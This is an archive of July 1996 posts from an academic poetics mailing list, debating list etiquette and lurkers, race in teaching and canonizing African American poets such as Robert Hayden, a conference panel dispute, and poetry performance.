so, joe, what kinds of things do you consider when preparing to teach or write "ethnic" or "Other" materials?

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165. **James Brook**

Re: Private List/Public Space

Mon 8 Jul 1996

Loss, I appreciate your comments regarding keeping the list intimate--which in this case means about 300 people, I believe. This does help promote productive discussion and develop the bases of a critical public with common interests.

On the other hand, I'm uncomfortable with the idea that anything anyone writes here is available for citation elsewhere. I feel that if a comment is citable, then it must be a text--and subject to the same protections as any other text. No, I'm not particularly invoking copyright protection--but I do think that the citer should go ahead and ask the cited for permission. That's mere courtesy. Besides, if we feel that our words are subject to such reuse, then there's bound to be a chilling effect on discussion: fewer people willing to participate and the remaining participants under greater constraint.

James Brook

Loss Glazier wrote:
>

> *I think the goal here is to aim for a size where we can know each other as much as would be possible in a non-virtual world (if there could be that many jobs in one place).*
>
> *As for being cited, this is how I'd think of it. In contrast to conversation, where one is rarely cited, a post to the list is like a post on a bulletin board in the hallway. It is a comment made in public. Though not considered 'formal' writing, I think some things get cited because the informality that nurtures them also gives them a liveliness that says more than is said elsewhere. (Well, ok. In addition, messages are also archived.)*

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166. **Aldon L. Nielsen**
Re: " . . . : . . . "
Tue 9 Jul 1996

Dodie -- whatever else Maria's post might have been doing, it didn't seem to me to be accusing anyone of racism --

and despite my question, I don't suppose that if two interracial radicals have sex with one another they are any less radical -- It's just that there is, after all, quite a long history of reactionaries desegregating the sex act, on their own terms --

↑ Index

167. **Aldon L. Nielsen**
Re: Perchik
Tue 9 Jul 1996

David -- Thanks for that info -- I wish I had known some of that back when I wrote that negative review of the book -- will make a habit in future of comparing ANY selected I get for review to samples from the original -- will be looking up those earlier books next time I have library card

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168. **Marjorie Perloff**
Re: List wars
Tue 9 Jul 1996

Here's what strikes me as slightly absurd in the recent controversy re: Aldon Nielsen and Bob von Hallberg and Bob's non-membership on this list etc etc. Lorenzo Thomas, a Live Black Poet and the only one present in Orono gave a

very interesting and moving talk about Melville Tolson. I knew almost nothing about Tolson and I learned a lot, also from Keith Leonard's paper. Lorenzo T is a fine poet but didn't get to give a poetry reading because he only came the last day? I'm not sure why. At any rate, instead of discussing this actual living poet-critic, we are now busy discussing the following: 1) Who was right about the Nielsen panel, Aldon or Bob? I am very fond of both and admire both very much; I wasn't there so I can't tell what really happened but I suspect there was less difference of opinion than appeared from Bob's and Aldon's letters. 2) Was it Ok for Keith Tuma to send on Aldon's remarks to a non-list member? 3) Was Bob von H within his rights in responding to the List? 4) Should Bob join the list asap?? 5) Should lurkers have to contribute to the list (as Ron suggested)?

and so on and so forth. Thus it is that an important (to me) issue gets wholly lost in the shuffle. And thus it is that instead of talking about the black poet who was in our midst (Lorenzo)--as a poet, not just because he's black--we end up, academic-style, arguing about what white men (Aldon and Bob) are supposed to say about black poets.

The whole thing strikes me as wonderfully silly. As Dodie said, I thought this was supposed to be a POETICS list. And what I want to know--since Bob's paper, fine as it was, doesn't convince me of the case is: why should I read Robert Hayden at all? I find his poems very boring and status quo? Why should I read him rather than such "forgotten white poets" as Archibald MacLeish or Babette Deutsch? Hadn't we better begin with such questions? Marjorie Perloff

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169. Peter Quartermain

Re: oppen

Tue 9 Jul 1996

Burt:

I'm not sure whether it's me or Peter Nicholls you had in mind, Burt, but you didn't miss anything, actually. Peter Nicholls ooopsed in sending to the List a message to me. So I might as well answer the question for everybody, if they don't already know. Over the last couple of years Rachel Blau DuPlessis and I have been assembling an anthology of critical essays on Objectivist poetics, with a fairly substantial Introduction which we drafted in April, entitled _The_Objectivist_Nexus_. The book is not yet *quite* complete, but the manuscript is currently under consideration.

Peter

At 03:00 PM 7/7/96 EST, you wrote:
>I guess I must have missed something. Peter, could you say more about

>California and the Objectivist Nexus?
>
>Burt [Kimmelman]
>
>
+ +

Peter Quartermain
128 East 23rd Avenue
Vancouver
B.C.
Canada V5V 1X2
Voice and fax: [redacted]

+ +

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170. Peter Quartermain

Re: poetry performance

Tue 9 Jul 1996

I must say I'm inclined to agree with Tony -- actors tend, reading poetry in performance (I don't mean in a theatre so much as on disk or on tape) to draw attention to the singular voice of the speaker, and tend as a result to close down possible meanings that a reader like Bob Creeley might well leave open (and usually does). But there are nevertheless of course some amazing and wonderful readings by actors -- witness Siobhan McKenna's reading of Joyce, for instance. But it's worth remembering, too, that there are distinct fashions in reading poetry aloud -- Dylan Thomas' readings (for instance and especially from King Lear and The Duchess of Malfi -- CaedmonTC1158] always struck me as being over the top but) were extremely popular (as these sorts of things go) in the late 50s and 60s (the Shakespeare/Webster recording was made in 1952 but not released until 62) and of course Thomas himself had an enormous influence not only on the fact of reading poetry aloud but on the manner of doing so. One offshoot -- again which enjoyed great popularity -- is the really quite astonishing and to my ear utterly inappropriate and wrong-eared reading of Keats and Shelley by Theodore Marcuse ("The Poetry of Keats and Shelley" Lexington 7505 -- I don't know the date). Reading "Nightingale" Marcuse sounds very like Thomas in the first stanza, but soon starts milking it for all possible dramatic worth, sometimes prolonging not only a syllable but a consonant for as much as two or three seconds (and believe me, that's a long time indeed) with extreme pitch and volume shifts -- "F-a-a-a-a-a-de far away" in ever increasing treble tremolo diminuendo, "and QUITE *FORGET*!!!" pretty loud and vehement. Utterly absurd, utterly risible. But he played to packed houses for a (happily brief) while.

But then, Thomas and Marcuse were playing to the house, and reading poems familiar to the hearer. How would they have fared, I wonder, with a poem unknown and possibly unperformed (in public, at any rate) before that one occasion. Basil Bunting used to say the only place to read poetry aloud was the pub. I'm inclined to agree. The classroom is a loathsome thing, god wot, but it too might be a place where people learn how to turn that inner silent voice into the outward actual one, reading a poem. Better readings? worse readings? Everything -- or so much at any rate -- depends on the circumstance, the context, the poem.

At 11:34 AM 7/8/96 GMT+1200, Tony Green wrote:
>Hi Christopher Whipple. Response to your notion abt actors. Distaste
>for actors reading poetry for me goes with the felt difference
>between stand-ups and actors. "Stand-ups can't act" is a way of
> noticing that stand-ups do not seem to know they are assuming
> a role (even though, of course, they are). Actors always assume
> roles. Rather than actors you want really good poet-readers. Last
>year I had the pleasure of hearing Robert Creeley reading Williams et
>al. You want something like that: no putting on a special voice or
>tone, no change from Creeley-voice reading Creeley that I could
>identify, but a real intelligent sense of what the text was doing at
>any point. That was really engrossing. To turn up the volume, to turn
> up the decor, to turn up the video-presentation, may do something for
> people who don't actually like poetry, but there is a danger in that of a
>deceptive kind of substitution. I guess I feel the poetry is damaged,
>more or less seriously by what you are thinking of.
>

+ + + +

171. Carnography

Re: paradigms in defense of parasites

Tue 9 Jul 1996

To regard lurkers as parasites, I would have to long for a debate that has no audience. I do not long, and have never longed, for such a debate.

Sometimes it is more parasitic to react than it is to pause and reflect. Who hasn't entered a conversation impulsively, only to learn that the subject was not what it seemed, or to realize, too late, that one has played Socrates in reverse; that one knew little and spoke at gaseous length?

Yet sometimes the glitches and hiccups of impulse lead to discovery, to investigations of error that lead to invention. That is why lurkers and posters are almost of equal importance--even when either proves novice (or renunciate).

One sometimes has time enough to post but not to reply to subsequent posts. This might be another reason why lurkers choose silence over expression.

(All of this is so general that I feel I'm paraphrasing
Dryden or Emerson, or possibly Napoleon Hill.)

§§§

(As when usenet poster Brian Bulkowski said, of a manic depressive's affair with a borderline personality: "He failed to fail, which was a failure in itself.")

§§§

"The urge to silence penetrated every corner"
- Glen Simpson

>>
>>No, I'm not giving a course, and do have other sources (Haskell Indian
>>Nations University is down the road a short piece), but I'm curious what
>>members of this list would say.
>
>
>Mostly I wouldn't be so foolish. But one thing I would be careful about is
>that adjective "contemporary." For me, it would have to include works from
>the oral tradition, which are still living, therefore "contemporary." And
>many of these works are subject to contemporary variations. Too often
>(although I think this has changed somewhat in the last couple of decades)
>the oral traditions have been treated as past, as relics. In many cultures
>they are decidedly not so. Some of the primary work in this regard has been
>done by Larry Evers through the Sun Tracks series at the University of
>Arizona Press, and to my mind some of the very best of that is the work with
>Yaqui oral traditions Evers has done in collaboration with Felipe S. Molina,
>himself a Yaqui singer.
>
>But this is just one part of a huge story.
>
>good luck,
>
>charles
>
>
Daniel Salmon

↑ Index

173. Carnography
Re: poetry enormance
Tue 9 Jul 1996

And then there are those who post when they ought to be lurking (And I don't mean Mr. Whipple).

Christopher K. Whipple typed:

> *Does anyone have any ideas on why coffee house readings are so often lame and depressing; why do these horrible people have a monopoly on the espresso circuit, while so much that is delicious is abandoned to a half-life in academia?*

XV. The coffee-house is not simply a generic site for poetry. It carries with it overtones of beat-poetry, which, for the unimaginative, conjure a kind of Fred Flinstone version of a "poetry scene": pseudo-scat-singing, faux lyricism (doo-bee-doo-wah sound-patterns), comic-book-Picasso pastiches of abstract verse ("that blue/...*now*"), and even the notion that poetry ought to be autobiographical ("I [lived/hated] [X kind of downtown] life and I [loved/despised] it.") or preachy [I'm here to educate you by railing at the teachers I hate].

2. Careerism on the part of readers and organizers does much to kill the encouragement of individual talent. Also: mere poetry, and thoughtful performance, prove irrelevant to various cliques and clots of paradoxical careerists who proffer bios instead of brio and lyrics instead of the lyric.

> Careerism is an invitation to mediocrity; to paraphrase Cicero,
> the insistence of those who shout is often a hindrance to
> those who wish to listen.

c. There's altogether too much self-aggrandizement in much contemporary poetry. Writers like Sapphire and Dael Orlandersmith are certainly worthy of interest, but the entire slant of merely autobiographical writing is responsible, I think, for providing even more impetus to the profoundly self-congratulatory. It was his exasperation at the plethora of musical cliches masquerading as emotion that led Stravinsky to say, "Music doesn't have the power to express anything." Also: when the writer is not vigilant, autobiographical detail can become an excuse for narcissism. I tend to think that the trick of autobiographical writing is *not* to be self-absorbed.

Iv. The dumbing of poetic audiences is also responsible for the blinding tedium of many performances. Organizers have forgotten that poetry can function on difficult levels and still communicate in the basic sense. (Hindemith's Gebrauchmuzik is as common as it is chiseled.) Paradoxically, it is often the populist and not the cryptographer who obscures poetic meaning.

4. Many publicized poetic events are well-meaning attempts to assault high culture that result, inevitably, in more mere low culture.

> *Does anyone have any ideas on how poetry can be successfully performed?*
> *Has anyone seen examples, even failed ones?*

I would like to see performances that combined music and words but didn't overuse popular cadences or stress-patterns, such as Nyorican cadences ("I saw/that/man, that/high-handed/Mosh-pit/religion of/lint/gone/lyric) I'd like to see (or rather, hear) performances in which sound and poetry are explored more closely, with textures as involved as those of chamber music. I'd be also be interested in readings that excluded overt autobiography.

More plays: the emergence of poetic theater, of plays in which, as in absolute music, texture, modulation and other abstract elements, were the primary source of tension and release rather than the narrative. I'd like to see performances and plays in which devices like simultaneous monologue and tergiversation functioned as dramatically as textured dynamics in baroque Concerto Grossi.

with props to Annie & Jerry:

readikns ik iknu khk, thy enormoranges
ih? dhh, ips op/errant, scansion p'll ear-wheel
ego deeno quagnum eensy ernst

Al Iz Blesteraht,

Rob Hardin

(According to Cankerian analysis)

http://www.interport.net/~scrypt

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174. Kevin Killian
Re: List wars
Tue 9 Jul 1996

At 10:00 PM 7/8/96, Emily Lloyd wrote:
>yes, which
>threads do and don't get picked up merits observation, mention, critical
>examination etc.

The is Dodie Bellamy.

On the surface, Emily, this sounds just great--but serveral issues come up for me. First of all, this list is not going to change the world, it's a bunch of mostly-white middle class people shooting the breeze. It's a place of priviledge and leisure--the priviledge to have access to a computer hook-up, the luxury of all this time to shoot the breeze. Let me get this clear, I am not against anybody discussing race issues and/or teaching--even though for us non-academics, issues of teaching are rather boring--and academic approaches to literature and to poets themselves are something many poets I speak with find problematic. For instance I do not think M. Damon's erasure of poets in her original post was merely an oversight--perhaps a Freudian slip? As Ron pointed out, for many academics living breathing poets are not part of the picture. Furthermore--this isn't the 50s, no one that I know of, and few (if any) people on this list would challenge the need for representation of non-"white-middle-class" writers wherever writers are represented.

But creating a hierarchy of what's acceptable or more acceptable on this list is something I find highly problematic. It is that process of hierarchization which excluded non-"white-middle-class" writers and women from the literary canon in the first place. There is no god-given hierarchy of importance. It is this mindframe, for instance that has often disparaged conversation by women as "chatter." I have much difficulty when white middle class liberals use the issues of "oppressed" groups to guilt trip other white middle class liberals--and I think some of that has been going on here. Let me give an example from outside the list. Several years ago here in San Francisco there was a poet who became "engulfed" in the Gulf War. He marched against the Gulf War, did performance art against the Gulf War, wrote poems about the Gulf War, wore buttons. So, at least a year after the Gulf War ended he gave a reading--of course it was all poems about the Gulf War. During the course of the reading he took the opportunity to brow beat the audience by saying we're all here listening to poetry--but there was THE GULF WAR--in other words he posed himself as this messianic figure concerned with human suffering, and the audience was cast as a bunch of superficials listening to Poetry. I have problems with the colonizing of another group's oppression and and wearing it as a badge. I am skeptical when someone makes an academic career out of Bob Kaufman then makes jokes about his "clunkers" on this list. This is not treating Kaufman with the dignity he deserves.

To conclude, I think the Beatles and list politics are just as valid topics of discussion here as anything else.

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175. **Kevin Killian**
Re: List wars
Tue 9 Jul 1996

Maria, you criticized a population I was a member of--the people on this list. I was defending that population.

Dodie

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176. **Kevin Killian**
Re: List wars
Tue 9 Jul 1996

At 3:47 PM 7/9/96, Emily Lloyd wrote:

> *But I think the point was that there wasn't...certain issues were dropped like potatoes, for whatever reason (and I admit, yes, to an interest/concern in that reason). I'm not interested in falling into the "why are we talking*

> *about this when we could/should be talking about THIS?" trap; on the other hand, I think "why *aren't* we talking about this?" is a valid question. emily*

I agree with you Emily. But my point is that the "why are we talking about this when we could/should be talking about THIS?" trap *was* evoked--and that is what I was criticizing.

Dodie

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177. **Mark Roberts**
Re: Listpersonship
Tue 9 Jul 1996

One of the advantages of being on this list is that it gives those of us outside of the 'centre(s)' a chance to have some input etc. In many cases we may not post for months, but one learn much from lurking and reading about US or UK based discussions. While encouraging people to contribute to the list is a good idea it could also be counter productive in driving away those 'marginal' list members who occassionally may have something important to say.....

anyway that's my 20c worth...and should keep me on the list for another month!! :)

_____
Mark Roberts
Student Systems Project Officer
Information Systems
University of Sydney NSW 2006 Australia
[redacted]
PH:(02)[redacted]
FAX:(02)[redacted]

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178. **Joe Amato**
Re: List wars
Tue 9 Jul 1996

---

maria, emily, marjorie, all:

((((and sorry folks for the little tirade i initiated re rvh's forwarded post (if in fact i initiated it) but i *did* say that it bugged me and i was feeling "grinch-like" and so what the hell i said so---again and again!))))

my primary problem as a white guy addressing at times black and latino/a students is that, to put it as simply as possible, i don't come from where they're

coming from... i can generally relate along class-lines, given my own history, but i don't feel the same urgencies or necessities to validate my own racial or ethnic construction or gender construction (and combinations of same)... and even when i do feel this pull as a poet, i don't tend to come to it in the same terms... and this leads to all sortsa problems in the classroom...

for example (and aldon, you've already heard some a this) i don't particularly care for maya angelou's or niki giovanni's poetry... i prefer, for lotsa reasons, ntozake shange's or erica hunt's or audre lorde's or rita dove's or wanda coleman's (which is not to say that i whole-heartedly embrace all work by these latter poets, either)... but maya angelou, for example, is extremely popular with black women in my classes these days... and she's popular in part, from what my students tell me, b/c her voice is one that they can relate to (an easily accessible identity formation)...

and here i come with all of my [cough] c-c-c-critical sophistication, talking about voice as a set of conventions, asking them (after folks like patricia hill collins) what are they gonna DO with *their* voices once they 'find' them? etc... kinda pulling the rug out from under...

of course, one could argue that the answer here is to work teaching in stages, developmentally... but for me this can all too often constitute indoctrination in a given stage (read 'aesthetic')... and besides, work that i like more, in order to appreciate it, already for me works at an advanced stage... uhm---no, not 'advanced,' i take that back---just more complex in the terms i indicate...

so what i then have to do is find a way to promote dialogue among my students (and me at times)---which i think i'm never too good at, no matter how hard i try, mebbe b/c i'm so wedded to my *own* dialogic or monologic tendencies---to see if i can't get them to talk about the voice complexities i believe need airing... but thing is, many times the majority of the students are white students... so i end up at times trying to 'fill in,' trying to provide some leverage for my black and latino/a students *as a white guy*...

i'm sure you can see the problem here... christ i've been through it over and over, and in my professional writing courses especially (which i teach many more of than lit. or creative writing courses, and which i teach in terms of institutional issues)... i'm lucky to have a mix of students in my classes, teaching on an urban campus as i do... but this is itself problematic to the extent that i don't have any humanities majors---all science, business, engineering...

anyway, that's a start i s'pose... ysee, when it comes to who should be canonized, and comments about owing it to---posterity?---to safeguard the 'quality' of work that's passed along, well---whose aesthetic is at (the) stake here?... who passes what along to whom?... i too am culpable on the count of simple 'liking' or 'valuing' that is no doubt rooted in an aesthetic of whiteness... how, i'm not

always certain, but i've no doubt this is true... at the same time, *as a poet*, i've simply got to be able to take my best guess at times as to work that doesn't, well, work!---incl. my own...i mean, I CAN BE VERY OPINIONATED (under-statement of the month)... and even with peer review in a classroom, sooner or later an instructor gets involved in questions of evaluation, and in any case i evaluate all the damned time...

and whatever the thorniness of these problems, i can't quite imagine entering into a discussion of who gets anthologized, say, w/o recognizing that anthologies, for better and for worse, are classroom tools... and anthologizing is one measure of canonicity... so for me the question of 'condescending' to such & such poets had better *begin* by considering who speaks, and to whom... i think the various what's will tend to emerge with greater clarity this way...

best,

joe

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179. Mary Hilton
Submissions for "Political Diction"
Tue 9 Jul 1996

In the spirit of July 4th (albeit 5 days late), submissions are now being accepted for "Political Diction 96," a magazine devoted to the electoral process, politics, government, and most specifically to the election year 1996. A multi-partisan magazine distributed each election year, it is hoped that "PD" will allow various views and thoughts about the democratic process to be expressed.

Innovative essays, poetry, short stories and visual art are welcome. Submission deadline is August 15, and the mag will be distributed in Sept/Oct. Please send to:

Political Diction 96 c/o Mary Hilton
1706 U Street, NW, #102
Washington, DC 20009

or send e-mail inquiries to [redacted]
Thanks!

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180. maria damon
Re: " . . . : . . . "
Tue 9 Jul 1996

aldon rites:
> and despite my question, I don't suppose that if two interracial radicals
> have sex with one another they are any less radical -- It's just that
> there is, after all, quite a long history of reactionaries desegregating
> the sex act, on their own terms --

okay, of course, i see. thanks for the clarification. still, i was thinking of folks like o'hara, who in the fifties was having gay sex w/ black men...a double taboo, though the taboo against miscegenation not so strong in his case since the fear of same was mostly due to the purported horrors of having "mixed" kids...i guess people can have radical practices (like gertrude stein) without necessarily having politically radical consciousnesses...and the reverse as well -- etc....maria d

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181. Charles Alexander
Re: poetry enormance
Tue 9 Jul 1996

> *Christopher K. Whipple typed:*
>
> *Does anyone have any ideas on why coffee house readings are so often lame and depressing; why do these horrible people have a monopoly on the espresso circuit, while so much that is delicious is abandoned to a half-life in academia?*

I think this is overstating the case. For example, a lot of good readings, including by people on this list or talked about on this list, have taken place in coffee houses & bars, such as the Ear Inn in NY. My guess is that the ratio of "delicious" to "lame and depressing" in coffee houses & bars is somewhere near the same ratio in publications, academic departments, or anywhere. And I think there's a lot of work that's far from delicious which also has a life or half-life in academia.

charles

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182. **maria damon**

Re: List wars

Tue 9 Jul 1996

---

thank you, marjorie, this is exactly what i was trying to point out.--maria d

In message <[redacted]> UB
Poetics discussion group writes:
> Here's what strikes me as slightly absurd in the recent controversy re:
> Aldon Nielsen and Bob von Hallberg and Bob's non-membership on this list
> etc etc.
> Lorenzo Thomas, a Live Black Poet and the only one present in Orono gave a
> very interesting and moving talk about Melville Tolson. I knew almost
> nothing about Tolson and I learned a lot, also from Keith Leonard's paper.
> Lorenzo T is a fine poet but didn't get to give a poetry reading because
> he only came the last day? I'm not sure why. At any rate, instead of
> discussing this actual living poet-critic, we are now busy discussing the
> following:
> 1) Who was right about the Nielsen panel, Aldon or Bob? I am very fond of
> both and admire both very much; I wasn't there so I can't tell what really
> happened but I suspect there was less difference of opinion than appeared
> from Bob's and Aldon's letters.
> 2) Was it Ok for Keith Tuma to send on Aldon's remarks to a
> non-list member?
> 3) Was Bob von H within his rights in responding to the List?
> 4) Should Bob join the list asap??
> 5) Should lurkers have to contribute to the list (as Ron suggested)?
>
> and so on and so forth.
> Thus it is that an important (to me) issue gets wholly lost in the
> shuffle. And thus it is that instead of talking about the black poet who
> was in our midst (Lorenzo)--as a poet, not just because he's black--we end
> up, academic-style, arguing about what white men (Aldon and Bob) are
> supposed to say about black poets.
>
> The whole thing strikes me as wonderfully silly. As Dodie said, I thought
> this was supposed to be a POETICS list. And what I want to know--since
> Bob's paper, fine as it was, doesn't convince me of the case is: why
> should I read Robert Hayden at all? I find his poems very boring and
> status quo? Why should I read him rather than such "forgotten white
> poets" as Archibald MacLeish or Babette Deutsch? Hadn't we better begin
> with such questions?
> Marjorie Perloff

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183. **maria damon**
Re: maria--/& performance
Tue 9 Jul 1996

---

emily rites:
> Maria--didn't find your post offensive at all & think that yes, which
> threads do and don't get picked up merits observation, mention, critical
> examination etc., & thank you for boldly calling attention to it. I myself
> kept Chris S.'s post in my in-box for days, challenged & wanting to respond,
> & eventually giving up because I just didn't feel qualified to. I've been
> studying race and representation for years, & the more I study, the less
> qualified I feel to speak. Mostly I got worried & a little nauseated at the
> prospect of a predominantly-white-membered list discussing "race & erotics,"
> esp. in the assertive and "I know what I'm talking about" voice many
> conversations here seem to take, even as I also get worried & perhaps more
> than a little nauseated at the prospect of same list skirting those issues.
> This is why I didn't respond. I personally couldn't care less about whether
> or not R V H signs on to the list, so I could post about it (although I
> won't) all day. It is not because I didn't care about the issues raised in
> CS's post that I didn't respond, but because I cared too much to respond
> quickly & maybe at all. & yes I'm aware this might sound sappy or
> irresponsible. But because I was worried & unsure how/if to proceed,
> holding off the procession seemed most "responsible" at the time. I'm not
> sure it was and--this sounds facetious but is meant sincerely--I'm sorry for
> not knowing, not being sure. It may be that others felt similarly-- ?
> --emily

yes, i see; e-mail is indeed a hard medium in which to have serious sustained inquiries about matters that require a lot of thought. this is certainly true; i often find myself fading out just when a big juicy issue that i really care about comes up, as if, as you say, i'm aware that the medium is working against me and a kind of pre-emptive weariness sets in. and no, you don't sound sappy and irresponsible in the least (to me), and yes, the prospect of mostly white folks holding forth confidently on the subject of race and eros is indeed a bit peculiar. but... i learned a lot from aldon's 4-line post clarifying his statement about un-radical desegregations of the sex act,that i wouldn't have learned if i'd just let it go. it was hard for me to ask for that clarification, cuz i had that inertia-feeling: "do i really want to open up this can o' words?" but i'm glad i did. i most emphatically did not mean to call anyone on the carpet --i really dislike this ad hominem/feminam stuff --but to point out, as marjorie has since, the way charged issues often get watered

down.
i think you may be right tht it's a function of the medium.--xo, md
>

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184. **maria damon**
Re: List wars
Tue 9 Jul 1996

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joe: thanks for your considered reply. i myself tend not to teach stuff i don't feel i can get behind. once or twice i've taught adrienne rich and audre lorde --which was interesting for the class but boring for me, and problematic, because i don't want to be put in a role that could be construed as anti-feminist, but i also need to feel free to criticise work that doesn't excite me, tho i can appreciate its skill. sometimes, with rich, w/ undergrads, i take the opportunity to talk about the academic tradition and how someone can be part of it, trying to break out, and succeeding in some ways, but being reinscribed in it...that usually works --to talk about "radical politics" v. "radical style" etc. i don't know, joe, if there is a "white aesthetic" --that term seems to encode something more? i.e. new critical? modernist? etc. bests, md

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185. **Joe Amato**
Re: " . . . : . . . "
Tue 9 Jul 1996

---

about this question of radical-ness (i got four days left hereabouts and then i'm away from my machine for three weeks, so i may as well post like hell): anecdotally speaking, some of the more radical poets i've known have led conservative lives---i'll let 'conservative' stand for mainstream living arrangements (by which i don't quite mean values), and i mean by 'conservative' at least as conservative as mine---whereas i can think of a few formal poets i've known who've been all over the charts in terms of how they've lived... i mean, i don't see any necessary connection, necessarily, twixt radical writing and radical living, though i do at times see connections... and i suppose necessity here is a function of what community one is a part of... so i guess what this means for biographically or culturally-based work is that it's best not to assume from the get-go such correspondences by way of 'explanation'?... love to hear more here...

joe

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186. Herb Levy
List, person, ship
Tue 9 Jul 1996

Mr Silliman's proposal does not adequately address the pernicious issue of the lurker slime on this e-mail list.

Requiring a single post per month from each list member would likely result in cutesy, off-topic messages about the weather (it's been warm & sunny here in Seattle, but there are early morning clouds today) or irrelevant "me-too" posts in ongoing threads. As several people have already noted, this will result in too much empty traffic, further allowing the vampiric lurkers in our midst to stay on for another month of reading the collected wisdom of others at no cost to themselves.

To actively combat these lurker vermin, we must require full participation by all list members in every current thread. After all, it is really not too much to ask that list members participate in the activities of the group.

To start with, we could allow brief (less than a hundred words) responses to be made within forty-eight hours of the intiation of any new topic.

However, to achieve the goal of total active participation, we would have to move quickly toward the more reasonable requirement that all list members respond within one hour to each post to the list (including their own) with a closely reasoned 250-500 word statement. To make it easier to follow the advanced discourse that would likely result under this new system, each list member would also have to provide a shorter abstract of their arguments.

This simple change in policy would most certainly cut down on the number of non-participating lurker scum on poetics list and we would soon arrive at the kind of total and immediate participatory democracy that one usually sees in only a few of the more progressive-thinking Usenet newsgroups.

Herb Levy
[redacted]

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187. Hank Lazer
Re: List wars
Tue 9 Jul 1996

Marjorie asked why should she/we read Hayden, stating that she was unconvinced by Robt's plenary session paper. I have been reading Hayden rather carefully for about ten years, and my argument may overlap with a slightly different question: why teach Hayden's poetry. I suppose in some ways I read

and enjoy Hayden for reasons similar to the pleasure I take in re-reading Robert Frost--there is a subtle but serious self-criticism in their work, an undermining and ironizing, in Hayden's case a beautiful use of an occasional odd word in the poem (to my ear, similar to such a gesture in Oppen's work, though Robt's paper gave me a different and convincing way of hearing the indulgence in that savored single word in Hayden's poetry). Marjorie might even enjoy looking at Hayden's last poem, "American Journal," which, on the page, looks remarkably like David Antin's talk-poems. I teach Hayden in contemporary poetry classes, in part, for reasons that Robt discussed--to complicate and question certain assumptions about ethnic identity and to counteract a tendency to state what "the" African-American poet says etc. I generally teach Hayden (Collected Poems) along with a big unit on Baraka (I had been using The LeRoi Jones/Amirir Baraka Reader), discussing the many different positions taken by Baraka on Afro-centrism and on socialism, and putting Hayden's universalist pronouncements (which I read as somewhat in conflict with his actual poetic practice, reading that universalism as a "wish" rather than an actuality), then moving to considerations of gender as well in Audre Lorde's poetry and essays. In all three cases, I am making use of essays and poetry and interviews, trying to consider all these expressions as part of a single thinking, as part of a cultural critique, as part of a poet's activity as an intellectual. Also, I live and teach in Alabama, and Hayden's poems often push us into important and local considerations, including the complex intersections of Native American and African American culture here.

Before Marjorie (or Robt) or others accuse me of offering merely sociological reasons for reading Hayden, let me add that I consider his poetry GOOD. Which poems? Here's a partial list--The Diver, Electrical Storm, The Rabbi, "Night, Death, Mississippi," "Incense of the Lucky Virgin," The Whipping, Those Winter Sundays, Middle Passage, and I'm only on page 48 of the collected. Hayden, to my ear, has an extraordinary ear, writes beautiful sounding poems. In little snippets, as in "so sibling innuendoes all aver--" or "His pain/ our anguish and anodyne" or in entire poems. I also admire the complex and shifting sympathies of Hayden's poems--something which Robt argued for as well.

I don't think that my own enthusiasm for Hayden (and for Baraka and Lorde) will necessarily persuade others. I can vouch for the fact that re-reading Hayden's poetry over a number of years has been a pleasant experience, a re-reading that has re-paid the sustained attention. At any rate, on the way to the office, such are my quick notes to Marjorie (and others) about Hayden.

A quick note too on the exchange between Aldon and Robert. I was there. Yes, I did argue for seeking and articulating different modes of reading, interpreting, evaluating in relation to Hughes (whose early poetry can be read and appreciated in a way that is not merely an analysis of "themes" when juxtaposed

with some of the blues recordings he was listening to). (By the way, Hughes' "Theme for English B" raises interesting questions about ethnic identity vs. universalism in poetry....) It seemed to me that Robt came on a bit insulting and heavy-handed, though that was not, I think, his intention. Ultimately, I heard him arguing for a different balance (than he heard in this one panel) between sociological perspectives and close reading. He wanted more of the latter, as a means to defend or articulate the value and excellence of particular poems. Aldon explained that there were other panels (including the one done by him, Mark Scroggins, and Stephen Leonard, which I also attended, and which was excellent and informative and DID involve close readings of specific poems) that did precisely that, and that Robert should consider attending the CLA if he really wanted more information and to connect with what scholarship was being done. To my ears, some of the tension in their exchange has to do with issues of professional stature and the politics of the profession. Robert was ignorant of the CLA & indicated that he only attended (or mostly?) conferences where he was invited to speak. Aldon suggested that if Robt really was developing an interest in AFrican American poetries that he should attend CLA conferences and join the CLA. I drifted away from the conversation at that point, trying to ask Aldon and Robt to continue to talk to one another. I know and like both of them, and believe that a sustained conversation between both would be of value.

De-lurked, and having said enough for July & August both,

Hank Lazer

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188. **Daniel Bouchard**

Re: List wars

Tue 9 Jul 1996

---

and so on and so forth. Thus it is that an important (to me) issue gets wholly lost in the shuffle. And thus it is that instead of talking about the black poet who was in our midst (Lorenzo)--as a poet, not just because he's black--we end up, academic-style, arguing about what white men (Aldon and Bob) are supposed to say about black poets. The whole thing strikes me as wonderfully silly. As Dodie said, I thought this was supposed to be a POETICS list.

Who can blame lurkers for keeping silent? ["vermin, scum, slime," says Herb Levy referring to lurkers.]

I'm pleased that Ron's post prompted at least one person to write in and say who she was, what she does, and why she's silent on the list. There's nothing wrong with keeping quiet in a discussion. On the other hand, it's better to type

something in once in a while (even if you're unsure of yourself, or going out on a limb. There's few instances of flaming here, if any, my perception of the list over the past year has been one of general friendliness).

Here are some other Herb Levy gems:

"allowing the vampiric lurkers in our midst to stay on for another month of reading the collected wisdom of others at no cost to themselves." "To actively combat these lurker vermin, we must require full participation" "This simple change in policy would most certainly cut down on the number of non-participating lurker scum on poetics list and we would soon arrive at the kind of total and immediate participatory democracy"

Democracy for you, Herb, is an elimination of the "scum?" Can the unfortunates help themselves if they (we) do not possess your "wisdom?" But I don't want to dwell on your post, I'm sure you have some vitriol headed your way.

Something struck me about M. Perloff's post: the way the terms were set, as in "the black poet in OUR midst." What does "our" refer to? The members of the list who also attended the conference? I'm not clear as to whether Lorenzo's attendance at Orono was important to you because he is a poet, or because he is a black poet. Also, could you clarify "academic-style" as a form of argument and maybe propose an alternative? I've seldom seen any other kind of argument on this list (Lurkers, speak up!)

[redacted]

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189. Shaunanne Tangney

Re: poetry performance

Tue 9 Jul 1996

On Mon, 8 Jul 1996, Pritchett,Pat @Silverplume wrote:

> *I would just add that the moment anyone "stands up" in front of someone else to speak that moment "becomes" theatrical and those who ignore this do so at their (and their audience's) peril. Actors can enhance a text; they can also make a hash of it. The key (as someone mentioned) is the presence of a director.*

i have long argued that all art is ultimately performative because it ultimately requires an audience to be "complete."

> *All of this begs the question, Is the poet always and necessarily the best reader of his/her own work? Usually, yes. But not always. I've heard some real botches, generally from people with a very poor notion of the intrinsic theatricality of even the most perfunctory spoken exchange. To assume that*

> *just standing there and "telling the truth" as James Cagney once described acting can result in readings that are painfully bad in their naivete. And also very powerful.*

